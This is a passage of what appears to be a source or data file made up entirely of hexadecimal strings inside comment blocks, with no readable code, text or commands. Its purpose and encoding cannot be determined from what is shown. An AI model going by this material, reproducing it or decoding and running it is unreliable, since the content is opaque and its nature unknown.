e6819ed5c302a63a873ac4ecd710f7d04f259def99c5e478b6b9ac60869d2e9b72c872f62fae02504fb6049a7e4e6d90fa59c55b13e0161ccf12f79ffd1d0fb9e62428dca0709c2a5de9984eb8662bdc9c474e5c2bf4242a651f89c77e4219f0fc405138fee0f520f0c607f7a7244ab7ad94dba261c3da0356c55cbb336459268b1d4189379f95461d1c168ea25680deb28c6029f1e48c4dd0caf86f14358b8c6217812993a5221d79cf2f31eb9fe9b3274faa358c0f6d056f7d86b6d0d4a874a2aaee2468fdd9cbecef373018fd572b24b8147ea6d2260dbc74aed7833efa1c2cf7cdf8de4ff5289433a0b021e75a681524fc59a2e9cfad3d852381cf4c6bc9636d0349f81176705d0d56be2cc1fd3b60498ac6e906382abc0ca489c26c0a8ffdc4f57888fc188d04414df679fecae52695cd1a3dfd2b01fd1e43f0aabc59dc70ed2f7c8d92b92c9b3aa6906a90f03ca442fd679641c285f92a3617347e898a69d0b46c609b876c36d12146d4504d33a9273c37e4faec125674a6a7c17c8da8297696f3470ac976bc9a18fb0a8c759b78127ef6112e51403714a6ef4518d3c21e4defb1138cceb912c4ecc1ff7f145794ae75a4af7f4fb645dc5bc88f927af5c9bab79484f77b2648e22f52a189dbf26fc75c597a1d908761739a0be93eb5fd4f8925cfb0d1da41b5a0cbf56fb56af152a2730a51e594f5b568edb4d1e63f6a129c5239dec415f1e6d2b6e0912fc6397882106b71abbee8b4596d05a8863fbfdbfab9225d8a090364db75c951931eccee232e*/
/*84680ab9f896692235f191452fea4bb1d377114173d8be356b53cf06e9e90721b4a99666958dcce53f7d0318dfb08e17113822c9c84357e522f84211f6748412ef617c35190a97147a3f7b84b48bf278e8fc67381bc3a0a989dc8a2f1872ef1ae202c051f1eb951fcea059ed300b7039b29278bef9fce58d7d82205416b55053fe7f274def351891f1fbeec959b8229139da9d758c3838486e5ba9d9135fad9308fff432d5c1e19e274f0a0b706f306a7bfc3e02515b069d1826ad7fd9f2b34d19ae7d9f90b9136e3d32c4eb2d5117b83ae2550bfbc1805adab02a1d6ca5624cc1cf180d573ccf27f6e5c64cf88916eab781e45e21a3af77bf7af28726148e7a40077ef3df8bc319b2447f9a1f9267e66ebbbe68e09e6d2d24e4c55a046957e1042e9a39ecca6d593ff479d4f1ff6e504c1586d216a89030b6846f0e2d6fb7166ff6489e42867f272500b0909c68fb07e76c78bc53274883352d986302cb2ac56be4e01af9dcc1f62fc42e3f0c8107770e4af42582dc4e60dbdb85c83c182cc95e9f0504cbdb6d82badf3bc6ee59d2ed08a2503f1ca53792807c549dc3c3c626b78e6b7eba66cfd88d5dbc58728f92ca07c853a9cd594531acd6636b6c3eeaae73feb09f84be4418bbb4209831c1be7a1503f527a4ec2f903f6dde9ec281f5edf563a046d3309f8a831b9c44810cda43fb4315a25b8a690c2bbff0fbff0f296d2beebef465883955d080973426454a854a89aa36a3409582c9ad848addc8ff2b9ad3a2ff4072ee8f4deed0bdf65a2a59ce76e3a5cebf2055d5e225d18aa1277b3b209028641008d3e790ef9a2ad1bae90225db8f20764bacf803678d54b4228648385d3468af4f3433d4d3c65adb19415cbb654c9a65a83538c938ddae807546f236fb68ce4c821a5f10513a51bb75e0268a8700ec787b4343cc560c21f53c7efc5f2cd5a29f1c9eddc19b8d678d6fd2d1fa81d023396749c23ab41aa72b4b3618955d4b866475df79d2958bc5300feb0a928def9238ee9965ac7a9ad8f62b22fa366bdb4406306fbae08507fcc8d1f5fc49531e69d26562cbe1cf6e845441772586436c59bbb9ccb497cb8b7dc8295a84e7ec159e6dfc6c75b012bcf162c53b30444b33c692cc3c39c7653109187dfdd753ce0e337ba817ffbc692cf2acaa51b7c4df66ccfce94b45171ab4838ad96267c1af6ceb18a4d9456ba48ddb111b64890ebbe83ba02e06ed9e3a9cb8b796e5b9e7992907201406a0d3c78c003388fe29d8a8adcc28c703858cc65b0172ba88fe41f5846c6744c6c9859449f39c8e4b858dfaf125da8a21bed1e4478e5fdd8c8f7309c476d5ee03df1f1dcd11d0e75d904fa693a97212b09ff9bf38dded4197895b791150e7f62467e299f8a3fa66bdd150444d95a1c74dd6cc18669d309d94f9f5e54a1120abfa6c6b1528104fafbbb49af736ad72633e4cea7b1f4edcdcb5f32e33824c2810701ef6c7abac87453f78816697e96677eea4d5249e051e5563762a20f8c39ae28a3592017d7295a2e42dee3c8a505d9aaff5c0898056ce04957e69c595fc8003c19c8c59b1deba691c7999b3c6676afdfff69798a8d100416ab9b16ebe054b77ff3e259c0eea4d809939133801e27e2cc2d01b4eda5ce32be7680445ebba678a62377f3301e4d5f1d434defd7a9f1cc44990ff30047b075e8f4a1e9e2910d170cadcaf9bcf13ab33c81b6cd524eb39bf2450c124938088bbbe296491f057e3818bea80c9a2914a3df72d12120be6deb737ee5878471c5903191b9742b20d1353abb827f13be33837cb7d2a05013f22b13dcb8961654d2e1f3b024194da7f09d814f38d97ba1dec6629481966df00173979b250e8bd57ff5f125e6e4d407aa849e809f1c919b315eea58d7afb9c584d7cd922dc9c458ba549d5e24df844bf3907756cc2270c7bacb0ae907cfd99d7a173a68c00bd7875a4243a043ed4ab35bb6ce562adf4ea9a1a19c5667ddc202617a0745bde1c10a1b1377538d8598ebde60af7248474176195249938957e6dcb73007d1792432ab62f41ee8f9ae2dd8171eb74d5bcf88ac6536ae346799d9015daa562a45e85a6f09ded159363c637156d74aca9b630dcd21a9f02350fc626069ae74b4f768dcbafcbb3a8ee2beb28538621b75f527bcaf0909ab5f895937e7dcd39d0eef3e3fba1af3e58e24b2ec34c3d80c9b9d43d72248106b40bb211535d36f4184b37e3eaaf882957aaefb4d26cc8d67dc3d131b4d7ae84c59fda37fefbf3b76d71f00e29d2a98a9e51848de59b1ee712a25ce8b67aea132803c1d30b728f468b2c67b7131bbf26cb641f540b04bf2b09ab1cffbfdc3ed3cbbeaedabf6fabecdd50033951253c900153b2dd5339a6be4373b77ced6a04a655dcb39959dcb9b28cc313c42dbebfb5139a0bd57f4801d81c8e6251d99c265bbc22b0c0611825ee9c1bcf071948552cce3007e3545a9e9032f11a526f4a8d29295410100a38161768a61bca86fa088f8c8899f6eb0f4ba8f071198fda0285151bff2f33ae7822ccfd49f32f4a7c9c6662f7c7031be187f20bcacc75b0ca98fa26fdafc39dfb2f9d4f7912a215a70d57b2fabc5fd7993d6dc2cd05076918d68b9ef6a53b9fbc7f4ea61d7a62378839fa04bdf67375cd3e7c514dbc247a5396c31e222a998901dde047036c5a67b49b41271748ce7111da90de370470f4d05521e246e7ae199d45a905d16a5a7ddf760301a1b1996a5d3253b9846124ed5cdd4fe7e6a4c4be5d682d8b9521640ee00e3ce37b74425dcea4b697b940adde4c54d07c473d6ac53918f55830f47ffa9bd5bde8*/
/*a0e581749f0a1cb21b9e8b8f64230d80c4157dd69f4634c2f518a52a3b52e6c6d81bac4a60c7b96072d1370f8d735bc30547a4b0ea5dcb8d84d48278607327b2671f993253a5fc34d80a8844a451e9e0b176f1700cce25b67613cb41193abee1b8b06bc73a8b2482e0a783e5eef2f77a93dad48277b2cfa87a3359c2b04b50d84423dfe26cad84ef43dd17c955bce6810f300c0bede0cbda2ab6ad26b670a990362047ba0ea070c183f6a3ecfd616b4329c20712534514387e555be515bdb9497afeb78bd16a1788a189ce50495e46bf8886b319b8b34ea04eede61515df6723ecefabd557baa5eaf62a4de883a5ab1f25a0f99693fdf1127cd43c3603115c853c2868a2d404f495284926da32a3a3f668c8eee098e6c8f6cee6a4f9a311cb08ebf8e96a56f16a327fb6ee47d2dfc5f85d64c7043fa53d2cdf1154b9e91a43d6ffd4030d36aa3e380d4eb1168fd2529239addd39e9eedbda9b8eca4970fbb980b27ba85b1f3aff951fe26308fd1e6c8d0a69197af59e54a864baffa8339152a5117e0220098b2b640fd70de64242dce5c328070d1eec5ac98cce4b672f607c416d67e245e18bd4e6d3b58798b621a2f97d887b5d1a84752fa0787817a6a4d673e49b70272442c0fe509fa7557f851a4c2797b87af083c9a88ecfb87868aad255f827e246d54977061ba006cee37f342241117f6f1234b6d6c5f9bbc2c4c1ae181f4f9bb8946c986e68132f1e8fc1e6bb80d2e77ecd83a8816bd504ef1432e71a989b147d69710c8dbd2c61435b3bfca5f88abc91e26a59d5b26524cd2296866288dfec1b2f9b463cd89b863bcda149ceb6eedef20a4161c86f4a6e1664ab8b7456a22a6b53cc614f42daf1053895384830464b6c490246f92d157ce9dda6575b79c16342925213e831c28258df0d4300c4a63bf022c5abdf90bcb22e22b9d335b3464d3c53ff51d7ddc2b1dd250adb1e646f1231e50170af23805c4081b4d971afa23c945c0c4c8c7d71a366375277a65108dd7e5ac343243dc239903946d71a9ef779fb14a2a5ebc4eb96283862fb2af6d08ba0b729fdbb3f1566ddf976ee782642e0a5e3ffc15d9f837e2d694b37d468614bad1e783fcd46a9e3b7fe59c32bb56ef2089097bb106250d89a55aa4be3201ba5609698565604c690c9f0e6d2bae9e69749ea751dd80a09c92c4153b9f7abba61792fff51db9a06b82fa01b2d158decfb038801dd5f9efdf0aa3c057b8c367c4ea8b84c29b4665db661085611f16b46b01a47d380bafc03756472feb5df9391116cce70b9a1b762deecd97e0e868d462cffb8afab206a04a8e4b09b7e2ac061f6470c1c5afd9d7bea8c3813e2499b21dda733018de03ef2ef27977ec4fd183183bf599ac97f88fa6eb3ccd83a88bc83e7f3688c32ea478f556d5a06dbaed0d31f6ff972c2a4621ce9b8dd10f4464cb371810af84adba53d39bfda2b690fa09cb128b54c5295ec39ab12f0473fd6e9418dc618a51e4db0267710fb7468528bfa896f3326d666ef04c4492d73acec0df60e3665ec74c0f85630bacad4a44dbf986cf2aeef54a37e0edba562cc91672037b045cd06e1b3f6fa523ae9f4aec0a5e6341b17e507b594ffb63023ecc992f5cc1296e3e8c76e8a059e1579e021045412f0a5ded274c29d9ef186c80e9f49f84bee6fd33017683821d3475c82b9c924bf3a2b64e065f770f9fa0c97c35642bd6f02a5c1796f5097a0f0a32404c02e05c50729c832a8a177a67e3653d1881f768862303f577ee28a17dd329ef894f9f66e98a33b1a93180ab8d9876c757e9f2787f0da136887f02e976e9e489e06aa497fcd5b43e9cb49740af0f03eac3e15558767be4e008e562b1c8edc6709cc72d0fe750e3c2f8c838e19d30e7d9d2eab0c2648fb25fc7c41cdc825745963dc6db52402f7b7e668dc9e646ff18aec91eed76cfa917bcc01c129502cfd8b2e685b68eab7ac4d39455468aee374e75a03b3117fc428393031567efbf3b213fd717ce6b5607476d2eba6c60ea0e4cd8153d2cc95e6d72ad58007b235b793b628f40ea1454ab6f57b5b6beb633523f689434e863b1204f2889893a385a620d9e2386c8e0a93f7c4c38fade67375fa87c9cdb048ddc9bf08a232c6278687e7d5ce593cd2430daa3c6c9c9b99ef2a62f5874a41effd11883cc2ec3993982647d4e9ad1b5dc1cdd66af3a50abbcd7edfbd2785ffb5de1ab4b2ee13be684580d73f0a57aef9c6fea18cd2b673f3372782f8bbced6f3b4cc5fa074702f57216120a0832c60135ef429ad2334092392e0bea8c98463abd5bdd7db2a03fe50976b9ceefff76c120546eef29e119ee66f5feac3185ec3d5350092e8f01d8c17ae0c956caf3ea812c739a32fd8f846fe84c6f9b0496819f396fdf5abbaecd5ac3d7f0c354c15e1d7361d72386de35efd7b6b9de4b520963dcb2359e7cad781c6c54756d109797f6d167a30c216d61a6114217a993afd6f1848d4553d90c5d223f65e5152f247864e5ce3d5696eb54b669586472748f747889491f9330ddcc091c2b51b178a2ca1ac3034e8146ac5f09a56ae51f7acaa7af3d15dbe26887929f6aa6cf6fc53b2ce419fc609564218ad153c9047c70c0de49a26162491dc64287ccc70e6837c843774c67a0acebe4e4a58db5738cfe7467ea3795c6f9ca2d699f6b1bb1fe78b58eb8f742588f9fe070dec43d9491b287a9b451f29e0e5b9c24a85420c963522b274bc1ea51fed820469c2371d181d962a9212943779f37b66d3805adb8356a184fc6c851ebd5ee2eae21645c7ebe332aaf3e95743bf064b4014ce3df0b3d4e94af0*/
/*3baf818c3346038c48a06d62f06a22f8207d995d62ec221e6e669613a7a5b77c585d2c46d091153319a739b97067ce14c32a116c80a98ccab052a403a8f3ec6706119ba56a11f13421f9b87367d3caa63ce81670a7ec73b96d8b629f0f34062b6734af67fe09243772119321fa703a6aaea862e8e08260a7054de2c43896d87a3ae34ff5bea79d410a635f014a1dc071ca90fed9f3cd8cc402f3e27af1489e812372c557d226cc67abb7bafe069d374cf02fe64180ed2f10383d41375f45677574f7f7810eaea6858f188878bedad6aef286480b9635c7e568f8c2cae5123eb10e3a9086d179d22752aff353ed56086004196a19960c3ec4f4d708dabe455dfc405dac978446148713ff988769f5dc0aec15f0d8c3d95fcab07e17f7001dc0b65c56ad428d7b2f403bb6a35092b89949e3ef83257173574e2a8e58dea136a319a8c05f93a254cfcac6284f46ede8d5dda05b315427fc724f96ac4042b1283c9957372bd68276437bbfacf2edbab13687f84bcdf8c5f139122cdfaffec3ada7cf7a86f415c661adecf42b21587722a8537cbb9fbe1f33a47da4a45b83abd8f085ece2a0948b18638d2c096e2debffe65091433a743afb64c407b5ff163720d2f23c24f9d8034f42d2289cb3ccd689129d6276c8ab4f09a5a989fc73b44c2c35d391c121668bb46c5a725ecf8c7f4dad63dccda7a7e36b6f2266d961eea9de9f8fda06ef77d159a8c25c7d4368358a726c975ebadaa956efe9bfdea9288761abc236cb68885d42bb612446e6308121789558f595a45cb67f6facdbc516e1a67cdadfa7815a40f7ea9925943ec096e3c70e0767ac95f0617b450e6b4077d3b0877e23921e4e49d25e469020af891f215e9bc05075fdd931e9d31ac45d1f320b9019a83f3dc621e56dc7dfec4c1416ec30490e47b77842ec693d42d464d650729a45eb991ad30727bc8c4b712d1a1c37a04a13343b37ee7a3d41726a6ecdb0d31a762df268ebeb57d0fd70ab820072a0fa3ac0fe45ce0c156e5447008ab3f1a3b1c376ee7f5cec2e3b150d456873542ac68bd08d8b503aaee71c4f0d7c9b9c4c20630416d8358be92466d2450d8ef4efddca4e2755809a58737b1f0b8c885f28e149820fe436e61beb4796491cc0ba297519a9f76a11c64617135f968a89be56d49b779c8093cf2b86e167cc15d6fbc6528fec467d885e46112d6a91ab393ab97fc6401bde6a4e51acccffcd94ac018dc39279a40f8bd64578b03dcecd39ad5ad7465e09fbe59bcc7c3aeb30df6c5dd0dbe1ff428dacbeeaff44fda9f151e6ace9cd5a18c8c4bb863b828bc8531f77c695a60df63c0c2faa50875fb96e7ba1ac00dbef78da774dc9484213eb5aec4c05ec9582fc908d1059ddb7758083a4acc64160414334c284bf360716a7b68730c32d1cbb1109cd267ade9e9cd2d6797e4a6388bfdeca32122f017e6c0e6e9bb4ca3d02ee4b57daded4a88d9ea0566df9ccc806d7fcb7643d74997114ad5630fa69be4fbba8c18a53d04dd8f73d25825ee713d396106ec020e1b65cad61feeae8daae32a530fb07aefcd5237dbf29777d9b7c3375c8e005a332f0656bc9a861091aba27ad07b5160440fc06ad5ad38c5dc9f547064261367a0d8d87c34bb0aab39c72272ae2b45c69242dcabc35c18798a167ef123be077ccdd5a8ed6b4e727fc48ebf798d7351859855d25f9fe4865edc1beb299f31270761768bc2c17d388f3c46a26fa7168ac28e0f9acca5a8c0bae2ac482eb9c513946aa9631a9620b31acb3cec44acea173ebd28b7c647882d7df5e46d07ec5ef19014a3b2cb1725be10e263624864ae17f3c3633806cf813f9f1b37eac857d79388ff688755a1297e53906d2fcf6b049676f8fcfdaa87e42a2e1d3cabbe7dd12a8f6ca31dd2331a8042a42fae09735ae853c2576b7b8469ff1eabe8740c49105abf91913aa341ad3b28dc51005651cf2d96c0a53a0460daf16237697d48a4789adf82471242e62a6f82112f3c41bc1a39b2f06167c8f7fd721414337ed3199e5aed3ef08956e924994a154db8034f4e906f9c23e0b4af2f1b5820c74a091f18fd601090cceae9155ce12cee7f714b26218174e1e92f0df1981f274ea425e66ff393e703d839fab781c8422620717065351c6c9cc8d2a76930f03eb9b83cd29f88ffcce0151f34d349c212f4b36bae5b61b91c6c89f2a72232594c90c5436e1ce22800d19a37dc7967c8c6307dcb894f6b5e4b900beae92dba221c9d53bf8209ea8aefefc12e7f45a9c55a3e2d0b5a072895589a49d7938940068f7878c2ad8c30d3f99471bbae3a911c81c68f132b835ac710f5a509274d9aaffee443508108065cb1efe182b231b8d1682f07cb6cd9ffca301c0f4bca1a4b82faee408c0c27e1ef174b725be0c0f85f0115e52965dbf1d528747fa226e85d49c282b2a86a9373b754d353557836b5010034f293258273c15fcfd36df2ecfed56a926391e60d9c863011d5b7dbabc754b81460a88c1d28425a4f997f1651eaff9c7b8e9f5d44f99fed0208ec5c324bd0b7ff3c60e1206a93bf3f152d8f8dfe1b64eede7a4348622227e934a1a442f941fb917ed104e801d6837884129089e34e989ba7e1844a193678f94cf812d65df7293fc6ae60f43410dfa59c9eeb9a6f20d19a1e7e6fae0bd8a94ab76d9832457fc2e8c9f1fbe5d1d89790af25cb5e51206f598a5e0b4af10cefbc87a6ca6b16b47c72ae5855a3e72c0cce7b23c77dc1b5dd11ec8326bc8efe52e1f924ff6ffee2ed80efadea0cb86752ce8b9a4483d0e7a6ea3decdfba6b88a0dc569ac8fdb5e7bdcf9ec*/
/*802122e8fbc6f61315011c3d5fa22288b9728b26437281579d3f72536b151087d64ef69b35a03b0719d24d935fa1b4850aaf920a823e795ca8c3da1441878f79be8d34822081b421fe459ffb0e982c1912ecc6ec8c0327b8f01269cf99fcdc3c23888e1046276c7ab94568c908dd40544bf5b13ede864dfb6bcea8823b31ded2a80f9d4aca4ea7e920485221b1208f4df87c3a2b6d49769d7fcff00cb2e9388e7d15da0fdbf04210366982ce7edf82a22c2646e9a9314066b6e6ee8d1d38d2c08f60886a030953004e6ff453c8ce02e41cac7c1c280a82581ce7cedaf2b3a1ac315dbbc944ae21a55be279557eae1c853caee579a2ca883d03fa9a69990ae295da7cb84254155ac6525372ecc4e4dc0b8c15c79f8e3e678d16bf5c735384a4afbb8e86361bc85b4b4310419e6eb85e92b12fbfc04ce259a2205a92eec05116a1459e25ba77480e236c4802596d4189a8bef9d42bc3758d6b3c0b00b22978b0621ed571702dc31f09f661392b679c5b065ab73fb240fed963f0f6bd87532e2f51d2f5a542d634fda5be4a36820bc9f980428bca38c277719cb9c75266a1dbc8596889fbcc714b02dcbf9e67c562023d1499d6ad96848799539fc3a8196101cda9117a960d8301bcea70794285ada3cd3387e56012574c857d1af38556cf7d3274c951fbc08a7241f6bfbf6fa7b97284d870dde88dea958fbcb063909516bea32bee1c67c3f473faeb3477a263be4cdd04f127696dbb746e4475753abf16e736a84acb4d192a44e40e58004f373c99d64b6e668593225c83041c0a3317b5b85bf8f49df62455715a44e19905e41a42ac45437cf44be48c6bf02c153c16981ab97419a9933389e04efe61c35e9acbc00e8856c0510daa72d076fc15931941b23ae32bea4c7fda87a1881e0f26a266120bc4aa4c46ec776bd346e5c1899bb42811d93c1c9a319b0102baf2f02b04c645e077c4c5b8f7e520793caa2a7d035698db909ec50aebece8140f7efca348a9c55bb032cf2d392244c801cf06809aa4715c361114ad4cd7a927eae78664b4134ea483b4d5ad595c43e3dce725b8e203598cb60d33fa151d446a123f2a30f29cd1c8c2393b4b05c44cce026a891002d4a065cdb0dfb75b78cf0c24c99bc925ba42bf11b35fe9bea2114423af7e4916a37e3e139bbb30faa39f04fe8ffe6a8dbb6da89a4608aeaf66d4685bb1440c37a5273498c02cf188c03b8746c35f1559307b71daea647dce06305e9e331d04a7cd38493b68bd55d2e5f7f5149625b946806a14a4ef12a00c0d0ddf13e85de70957601bd0583080a3468d3df0678ed86d078d98bda0df63d7f9a24ff1f70e98cf0eb708fc151a162efb1b0b1d188631fde16fb11d8131c9758c3bc474d6bf8057275ff4e2dc9c021fcb0af5ff006f214996eb51dd1323245681d33ee362a684a2c147a1fc8e48752a3d14beedc2e38163a79940d95dd7fd6db60cfd92840187d389e3557642b3772913f183649086b3c4ad099b3203deec33722c2e3c408ebe96107b15ed6bef204913f1ba02894a4211270a9f4b46d02b66c61b8774205d3e28508a7b8861f8021e2fd218300239c3ffe4566fdb05f2b04eba8c2c1a92e0ce66fb7bb43ae315aec2850dce333a6a48522d8a29b6c9cd04704bf38cbd19e9a148c6314ff5ca3732be86f2a0f205975e514b035c6d609dd30d717accb76b5b24996a0dcb76ad9feee82a5c6f882ddf4a91a71a35a152e30a199a6ef4a6764f07d8b3183add18c1879bb163351cd6e0349f1b934e5c8c56315f803a7a1a2aab9b0059b41dff497d70ba33d9792993a0ea812095c8e6bdba10b6d64d53bfa11fd677454a733e491855f5257374728661ad3ab4a5fc6273951cce36bc4b4718abec1eaa740b034a1041f8088de7431a6c4f8b388e82508c278fe380e337084f632fb737a5f4e74975734699ce7feba22812b55325a35452c31b455be95dbda5b7c98420255d9c6d17ff4a066e66352faea7c331560e48a363324affc29514358a88b86bbd56ebac348169ecc28ca8eb4ea3651b35b2dc32d9342515eec33c3bfdee2993ad799d9d0e9bd3380b01dd45d077bb28332f693300c1886fa86da81d4402793a7b8289a41e913d3e7c24b4623053f0e4c21f5cf292c0ea68f4079f3568134827854a6c703cf21ac28b8bcb20f3d20895fb944ed00c88ab909553bd0fb7d46f423477269cf7b6809dafb35ea9de8fc65f570b5d738f9bb9ac829ffd27b515a7f995cec331e00ddc851a6ad693d9d4d80e9f61f659817d678e4f4399354a329797abc48d5f1049abd187395bf089ea03e80db2b28a1670a004e8f089254c085aa0109c5b82a94eeeb10b975a4191f160ea900707ae451b2a2d9f3078a63c8ebe8d768ca3103b14b144f83b58543fbe6cd456773af7d5a5fca030b169feb5dc34eff3a1a507a3b0eef081775a828a82685b3c7557e979f8f8c7a0a1ceed0e1b3570c95fc810df9a86dd20c00a32dbf24ffa30462fe47f1192086f4779cb3d12b2cf0b7362dac3c1b952f55596ff2f0faad66d8b77a8d4fd58e1f8e8f19006e7fbf1194b13e82c711050c23448ccad1f7edb5b7e82f8f2eeb3888033e458b61426aef7fb417b3546bf158eee182f682a0d978ca08112a2b98318d23599b32dbc8a4b0b4c4942f53d021b263189a8430df8b8b2760ba69dfd910b7272bd2f1e765abfbe058036fb65205ad22b1f885923c4cae5b0952c3f326f5e9b865c360fefeeee9f00e4db638b8f2eeb637a7bdb23c011c8ddf69c228d5e86972f122fd03f134139f36695f5fd6757ea47895604c7d38185be6c*/
/*fb3868e7762e3947543e08f0085a0c4c5b188709b389fbe50836410fc23145d17d4af6ee41a3dfaa554ddcdabf3214bad6e9b643313e50e2ca808b7e988c033161d7c35746c1c98c462b1342b70c25736471e47eb0312ed2faef02f4face00d8920b5a448f71e604bf857fc2d2df4ef21a95bfa7f4388375b2ee6a50b856a469f65c58811c9f14df53c6c578ff2f87d154be9f43d1919ab5c5657935afdb502570f1902d06744de327ae804130e953d2dc9929f1b184c8943a030e99e5bf13917375d949bd11545693395c0396f563d7463269585683962a6ba2329ca1deadb45b369f7d482b9d75f42f16a2bcf331537f5e9db97e5145b5e4411f9e6ee89fd6dd10cc1ef97984c851c8255b7872c1ed24a028c9b792be4b5554b20346dcd2304743d656f892ababbc7d7188c3bac39b1ee2b9e03d700911931a399d0e9afcbc0cc658083bc9fb2753ba0f1778d1942390c995cbc2d357f710f2fd6e6cb6c3b08ed0435f6099df09d7922b460ffbdd32b5919497c26f35e4c1486c79f1c2e1f4933278849bc7584becc50009f2f3411e65d4cde066f7c7617117960ba46b0eb151713ce9a93ae4bf0b0c1f6cda14c194929a7965677a7e7b4f2325b94deb51cc874df3d7a67e8da395e5784387c0315a93bdc92bb3f2509ceb9351462c75b617e22d0aab33a5ba625544b09976469b2f80f20a73c0dfb488070c5b3a538695abfaf90fe68e0db681a50eeca8ef196e482b3d4c51ae9403293aae8ef9b53cc7e29c20d2019ef2d65af6e746a3c445f88c3e957fec7187ff1970c4a8aa158908b0505577aad506a94e0451dad5d67952b331ce1356b0fcbf18777a15e08f9c02bba41fc187d1fc3a6fd2390e69feca9ca7ae961739ce075be24b0a06c84795a9cd7700928a6bb2c008233a126a1a0b11023a866d1651f9bd4daf1aaa7b5f7c96f7df514a6ce3da101c6eb6e12a8083d05b5c06425811445c9a43e81f610ef751830aeb875284eaa8e06b7d7fb41275d66dedbc56e73dfce75bfbba72ab15c5215a9c5c2a810763003e14785779aeef7c0ff38d4a10a96c76a305b3fd9802e4874569363e8474a3fbf67a8180fa264013f8f497f2adc4cac5ee8dc8525f915bd784714f7337098b6f63cb9fcc64f3efb231fbb219e036bbe136d34054d9b8764bfe3eab05c4bf819557591485a71eeeed3fc4f604123b8159f380e9d0fb259ecb346293c50ff8b48f5792e34e018e26e874c582e1897a8515e9bbc856dc3908ad349716b49343b8fb3f21885875ec18708f69e8843c7c2be9a2fb9c24df22dfec8393b0434dd524103cc19580eabb7f4771c47929942c54f8d1d24d1e8db7e9735af4f3dde44f221f8b7b4d019a253a41afed0b622f1d3c4a20ab7783e915c288e9e30017988539f164ebdad50133cdb78864466b1b52a7a3d358eb1ddbb8e2e8fd80fde58fa056e010c51b918cabd5b199908cfcf69a853c4ab7a672e9a93d06950e78c6bfa6aed32814c50602ab8b16ea611b254a2b2a102f46f891155e3f661a96f621e400d626a2c839130ff8b4b4ca09f7c8fb3a7982a6bf7806ac187c228a0fe1bbf5fa758688b13b9cb593ca8f58128ff463d7666b9eb5aa0cfd6902ea0fb17d00c7275c4490fb9c45529896aca800d680425bbc1b9a266a002756c6fb5cdbff2dc28473eb21b159dc8f2f538b89e465a41b8a7ad47580d335b5111a2b91ba2b706fd650c637a012699638aa66c004e8ab632862ee1fc3c987f457428223580f397e969acf2cca6f1638b2ae2d8a67c3bcd72107baebcf1b2d63468a8a82fd31261a45eb84a814585db9e3092840fd1227d06399ddc694b0fa9990e14d944f2a6c136ca8129bc99c88eed891794cde077f9e5336327c143232170e2ae71fe039fa408a695d54b011d61615cefa9d31054e7109763f79ae16cf21ce7d18fe85dcad81c54ebf2845aa66b79a8b9a02d895df071f822d449bc8643dd8d7bdb494341a026e9e99ee2afda19b87aff5e254dcdd4d777591db8823f26afbcc4a3fe16143e17db4de985aa1c61ad0d313ea649a994503bd667cf7d10c4d2ac71822603641d5a2e1c59e7ff8509cfed249301b87eb2346ddeed3177008ee0ed8027415fabd2ce66046b40a816743f21a359773293c5a13201b9edfb090c0492838aba02b884dbee5fcb52cd8d291f5f561ee4b2cd92b02986a7b694e508a0adc6b7218c5d98453576a6633d2a05e157d267a054a6e1e82b61eb2edc3485fa2c962c79c873949041b64cca25d35d4d3f55b4b67bcbb87216b38e6514137ee8d6ece109f127416adc477c862b530fef26b0e904a9f561dae7827e1f112306c4d87e6e080acb2a8c60809606f91c2ce514c20c202e3b12557580d7788665f3452e903fb6e7a2d2c34fa77f6b7d7b6cab7007df167eae4023cbca62d198b48f9b91e9945018341d31673c7b0b8a7a829c121ef4f06e165b1ad95c401ed99f14b4943dc2e21a3060dbd15e1995569e5f53cac401f5669fd477dc56fe0ba3c5b8556ddceb4905ae76f9f15eabc07520aa669808857ff49a366e6a4642822a06cb7f06cb70249c89d87018cde69da363cbf37c6d7e596e57b7569a01b7b4bad13bd0e886f7a2ef8e845421750b12bd14c4be8cecd88af333f3c4eb7dac3dadd36d275b0e4dad334a08a5924883003bd960f5bd5a82c48b11cbd68766bd176331cb15ff4e839a6fc092bf0b94d473886ebdf085fc45b08c3ac23b0517267bcd8190ada69511d6ae0f68342343ca59824d582dd35ec6fb5a7dbcc2014fa9fdb0069a0c694ac6312ec454d63fa70b82264a77185f89873*/
/*55bc809367bfc2cd78f10565317c682f9859517fc477c7693c840410b7e1798903a1c6a402aaf21f7c4a7af6232fdbefc61358453c0e3c64932ff88fd8169d43db5889fa3117618917d9c8f434959ae8ef72e6399880cc44ee8d930894e3c43bce1bbd732d186a61d1ab46892ec15b430cf3748627931b49c9b6d5b4e2bf2e857567c7f80a0bf183436a53a316de2dfa468f13a46f0b00bbe0276078ce0c96fe7268dcc8a6aabb308098819b706b9fe815a339f15f5e5256f3da724f0ac723b257218024372401adee7212a71bf0b803feb0a43d6e611dd9395c62a1e5995e56fe265a256a9de986d43ed0a9ebcfe7d3b8bf874feb633a94ff00082834c41ce1c2788093260bafd8eb5525b69e37f29e8d933bef52eaf9c0d861869562da34e32a48b50114bcd328bbb0d42e5a4890b3b850d6da5a6a241278c313bc77e78a1e3b78e95eecfbe11215d02d585dfe7630752b4ae65c5b54cd96e51b91066247f5f34aedcd2dd2d003ee5c8157aab03dacefe37fb351617f65e83c9784f8f67e4650fe17ab1de8c7acb7f85e34b8afc7d4d880047455ddb9ca4a3dd5f13546d6ee4d690aac6876bb7c77fe443bbbe721d053e305759493e602b41e718c7685ab824039f87a01a02f3b68fa9c8f2e2a3e8581c1491d28abcb6d61f9772bea20426a6f916e52257aabf18614c12c2747f5cd471d474b91e49e39152c627802e3d5ac0bd219eb7820c8b70134784ddd315fe49a0c9bdb305bfa52c4300f8edf9611af95b62fe3254d938afdc21f4e8dc6079d23d228b1b551ec92f385ae986454226ba62c9de716433aaf1c5e520f0378e33a515d52ef36e0e6f9e8f2a642378978d1d2b476c47eb1678a73915b878706807760c310e667ee1b382136720ab63fba5b98651879b2a856f1278a0a59cb3a8e43b3adb39491cea919f4f66a7b2e320e668a83afa52e27b0bf4b47b73c48715abb2286790e21b157a24c0104cc1e2770a7b81cacdf992f9f32fef97798c1a1fd27ad6278e3c6e1ef6d8053866261062be8c5625b124b7e102ffe31e2d72994926a990bdaaca48d5741711843bed4864e35fc6f4dd8b707f0025133a307dea6818153130b6292508c5754ce3a97137135747e1fea306e6e119fa2fbab830e628d309c93a07512eeba5ad930fa809411de2482cd0c9c85f4c32db5924fa4ddac0ea34c256b85b181aafd7f4521e3bafe531077e869164b0e22a83f77f8660c1591c29d7d98da2553ca262891af68650cfcad378761bf1e2abc5d82cb54159050fd4936c3d2be13b3a38c204b04873a7ee246204437307005050dc8829260c708b9b7fe564f